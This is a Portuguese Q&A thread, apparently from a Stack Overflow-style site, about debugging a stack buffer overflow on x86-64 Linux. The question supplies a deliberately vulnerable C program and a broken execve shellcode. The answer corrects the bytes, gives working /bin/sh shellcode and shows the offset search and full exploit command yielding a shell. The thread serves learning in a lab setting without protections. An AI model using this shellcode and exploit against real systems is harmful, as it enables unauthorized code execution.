16

Eu estou estudando segurança da informação e fazendo experimentos tentando exploitar um caso clássico de buffer overflow.

Eu sucedi na criação do shellcode, em sua injeção no código e na sua execução, o problema é que uma syscall para uma execve() dentro do shellcode simplesmente não sucede.

Detalhadamente:

Este é o código do programa vulnerável (foi compilado num Ubuntu 15.04 x86-64, com o gcc com as flags: "-fno-stack-protector -z execstack -g" e com a ASLR desligada):

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int do_bof(char *exploit) {
    char buf[128];

    strcpy(buf, exploit);
    return 1;
}

int main(int argc, char *argv[]) {
    if(argc < 2) {
        puts("Usage: bof <any>");
        return 0;
    }

    do_bof(argv[1]);
    puts("Failed to exploit.");
    return 0;
}

Este o um pequeno programa em assembly que executa uma shell com uma chamada de sistema execve() e depois termina com um exit().Note que este código funciona independentemente. Isto é: Se compilado e linkado independentemente, ele funciona sem problemas.

 global _start

 section .text
_start:
     jmp short push_shell
starter:
     pop rdi
    mov al, 59
    xor rsi, rsi
    xor rdx, rdx
    xor rcx, rcx
    syscall
    xor al, al
    mov BYTE [rdi], al
    mov al, 60
    syscall
push_shell:
    call starter
shell:
    db  "/bin/sh"

Esta é a saída de um objdump -d -M intel com o binário do código acima, que é de onde eu extrai o shellcode:

spawn_shell.o: formato do arquivo elf64-x86-64


Desmontagem da seção .text:

0000000000000000 <_start>:
   0:   eb 16                   jmp    18 <push_shell>

0000000000000002 <starter>:
   2:   5f                      pop    rdi
   3:   b0 3b                   mov    al,0x3b
   5:   48 31 f6                xor    rsi,rsi
   8:   48 31 d2                xor    rdx,rdx
   b:   48 31 c9                xor    rcx,rcx
   e:   0f 05                   syscall 
  10:   30 c0                   xor    al,al
  12:   88 07                   mov    BYTE PTR [rdi],al
  14:   b0 3c                   mov    al,0x3c
  16:   0f 05                   syscall 

0000000000000018 <push_shell>:
  18:   e8 e5 ff ff ff          call   2 <starter>

000000000000001d <shell>:
  1d:   2f                      (bad)  
  1e:   62                      (bad)  
  1f:   69                      .byte 0x69
  20:   6e                      outs   dx,BYTE PTR ds:[rsi]
  21:   2f                      (bad)  
  22:   73 68                   jae    8c <shell+0x6f>

Este comando seria o payload propriamente dito: O que injeta o shellcode no programa junto com o endereço de retorno que irá sobrescrever o endereço de retorno original:

ruby -e 'print "\x90" * 103 + "\xeb\x13\x5f\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x30\xc0\x88\x07\xb0\x3c\x0f\x05\xe8\xe8\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\xd0\xd8\xff\xff\xff\x7f"'

Até o momento, eu já depurei o meu programa vulnerável com o shellcode injetado cuidadosamente, observando o incremento do registrador RIP, observando o conteúdo do que ele aponta e conferindo esse conteúdo com os opcodes do meu shellcode, constatei o seguinte:

  • O endereço de retorno é sobrescrito pelo fornecido por mim no payload corretamente e a execução salta para o meu shellcode.
  • A execução sucede normalmente até o "16:" do código assembly acima, onde acontece a chamada de sistema.
  • A chamada de sistema simplesmente não acontece, mesmo com todos os registradores corretamente configurados para a chamada de sistema. Estranhamente, depois da chamada de sistema, os registradores RAX e RCX ficam com todos os bits setados.

O resultado é que já que a chamada de sistema não aconteceu, o trecho de código jump é executado de novo, o que faz a execução saltar para o início do meu shellcode (pulando todos os NOPs), o que faz com que ele fique colocando o endereço de "/bin/sh" na pilha continuamente até o programa dar crash e terminar em SEGFAULT.

Em suma, o problema principal é esse: A syscall dentro do meu shellcode não é executada e o exploit não funciona, mas a syscall dentro de um programa em Assembly independentemente funciona sem problemas.

Algumas outras notas:

  • Alguns diriam que falta terminar a minha string com um null byte. Mas pelo que parece isso não é necessário já que o meu programa em Assembly consegue uma shell mesmo sem terminar a string. E eu já tentei outro payload no meu programa vulnerável com um simples exit() e o mesmo acontece.

  • Lembre-se de que se trata de um programa vulnerável compilado pra AMD64.

O que há de errado com meu shellcode?

1 Resposta 1

13
+300

Relembrando e escovando os bits, deu pra notar que o spawn_shell.asm tem problemas na inicialização de alguns registradores e garanta que você achou o endereço de retorno exato, já de cara deu pra ver um erro (talvez digitação) entre o seu shellcode e o dump do seu assembly:

Pedaço Dump assembly:

  0:   eb 16                   jmp    18 <push_shell>

Inicio do seu shellcode:

\xeb\x13

Para mim deveria ser \xeb\x16,

O mesmo erro acontece na linha 18:

 18:   e8 e5 ff ff ff          call   2 <starter>

No seu Shellcode está:

\xe8\xe8\xff\xff\xff\

Deveria ser \xe8\xe5\xff\xff\xff\

A linha b: nem foi convertida pra hexa "você passou batido por ela"

 b:   48 31 c9                xor    rcx,rcx

Ou seja o seu shellcode possui muitas falhas, isso é um problema grave.

mas independente disso vamos lá tentar explorar o seu código!

Ubuntu 64bits:

root@eder-virtual-machine:~# uname -a
Linux eder-virtual-machine 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

ASM puro que executa uma shell (/bin/sh), estou usando um diferente que o seu pois esse eu tenho certeza que funciona em 64bits:

root@eder-virtual-machine:~# cat t.asm
xor rdx, rdx
xor rsi, rsi
mov rdi, 0x1168732f6e69622f
shl rdi, 0x8
shr rdi, 0x8
push rdi
mov rdi, rsp
mov rax, 0x111111111111113b
shl rax, 0x38
shr rax, 0x38
syscall

Compilar, criar link e gerar dump:

root@eder-virtual-machine:~# nasm -f elf64 t.asm
root@eder-virtual-machine:~# ld -o shellcode t.o
root@eder-virtual-machine:~# objdump -d shellcode

shellcode:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <__bss_start-0x200f80>:
  400080:       48 31 d2                xor    %rdx,%rdx
  400083:       48 31 f6                xor    %rsi,%rsi
  400086:       48 bf 2f 62 69 6e 2f    movabs $0x1168732f6e69622f,%rdi
  40008d:       73 68 11
  400090:       48 c1 e7 08             shl    $0x8,%rdi
  400094:       48 c1 ef 08             shr    $0x8,%rdi
  400098:       57                      push   %rdi
  400099:       48 89 e7                mov    %rsp,%rdi
  40009c:       48 b8 3b 11 11 11 11    movabs $0x111111111111113b,%rax
  4000a3:       11 11 11
  4000a6:       48 c1 e0 38             shl    $0x38,%rax
  4000aa:       48 c1 e8 38             shr    $0x38,%rax
  4000ae:       0f 05                   syscall

Temos um shellcode pronto para ser executado em 64btis:

"\x48\x31\xd2\x48\x31\xf6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05"

OK, eu inseri um printf a mais dentro do seu código para me ajudar a descobrir o endereço de retorno (preguiça de usar o gdb).

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int do_bof(char *exploit) {
    char buf[128];
    printf("%p\n", exploit);
    strcpy(buf, exploit);
    return 1;
}

int main(int argc, char *argv[]) {
    if(argc < 2) {
        puts("Usage: bof <any>");
        return 0;
    }

    do_bof(argv[1]);
    puts("Failed to exploit.");
    return 0;
}

Compilando o código:

root@eder-virtual-machine:~#gcc -m64 bugado.c -o bugado -z execstack -fno-stack-protector

Eu usei um -m64 para realmente garantir a compilação em 64 bits, Legal você definiu um buffer de tamanho 128, vamos ver com qual tamanho as coisas começam a se complicar, preguiça de ir no gdb novamente, vou tentar achar o valor no braço:

root@eder-virtual-machine:~# ./bugado $(python -c 'print  "A" * 128')
0x7fffffffe8f8
Failed to exploit.

Sem dump nenhum ainda OK!

root@eder-virtual-machine:~# ./bugado $(python -c 'print  "A" * 129')
0x7fffffffe8f7
Failed to exploit.
Segmentation fault (core dumped)

Tamanho 129 já deu segmentation fault, mas a mensagem do printf "Failed to exploit." continua firme ali, ainda não estamos no ponto certo. continuei até o tamanho 136:

root@eder-virtual-machine:~# ./bugado $(python -c 'print  "A" * 136')
0x7fffffffe8f0
Segmentation fault (core dumped)

Realmente aqui parece ser o ponto crítico, com 136 bytes, 8 bytes a mais do tamanho do buffer e com endereço do retorno em 0x7fffffffe8f0.

O meu shellcode possui 48 Bytes, espero que você tenha calculado corretamente ai, para o meu shellcode o calculo seria 136-48 = 88 bytes que você vai precisar encher com lixo + endereço de retorno!

root@eder-virtual-machine:~# ./bugado $(python -c 'print "\x48\x31\xd2\x48\x31\xf6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05" + "A" * 88 + "\x7f\xff\xff\xff\xe8\xf0"[::-1]')
0x7fffffffe8ea
Segmentation fault (core dumped)

Ainda não foi, mas olha lá para onde o endereço de retorno está agora 0x7fffffffe8ea

O endereço parece ser sempre valor do primeiro endereço de retorno menos 6, neste caso uma maneira de chegar ao endereço correto seria:

root@eder-virtual-machine:~# printf "%X\n" $((0x7fffffffe8f0 - 6))
7FFFFFFFE8EA

Tentando com o endereço de retorno corrigido:

root@eder-virtual-machine:~# ./bugado $(python -c 'print "\x48\x31\xd2\x48\x31\xf6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05" + "A" * 88 + "\x7f\xff\xff\xff\xe8\xea"[::-1]')
0x7fffffffe8ea
#

Agora sim o buffer overflow para seu código foi executado sem grandes problemas, dica, verifique com cuidado se o endereço de retorno é o correto, você percebeu que após injetar o código o primeiro endereço de retorno encontrado teve que ter um ajuste, se você não estiver no endereço correto não tem como explorar, eu olharia com carinho os registradores do seu asm, um ponto importante é que o seu shellcode não bate com o endereço hexa mostrado, olhando o seu playload poço dizer que o seu shellcode possui 33 bytes e você adicionou 103 NOPs antes de injetar o shellcode + endereço de retorno (lembre-se seu shellcode está faltando linha e com alguns códigos hexadecimais errados, como apontando acima) , isso me diz que você encontrou o mesmo tamanho de buffer explorável que foi 136 = 103+33, o cálculo para a posição exata de exploração parece estar OK, olhando de fora é impossível dizer se o endereço de retorno mostrado por você é realmente o correto, portanto como dito o seu problema parece ser realmente o seu shellcode, pode ser tanto o asm quanto a conversão do dump em hexa com número errado e com linha faltando sem conversão, no mais espero ter ajudado !

0

Você deve fazer log-in para responder a esta pergunta.

Esta não é a resposta que você está procurando? Pesquise outras perguntas com a tag .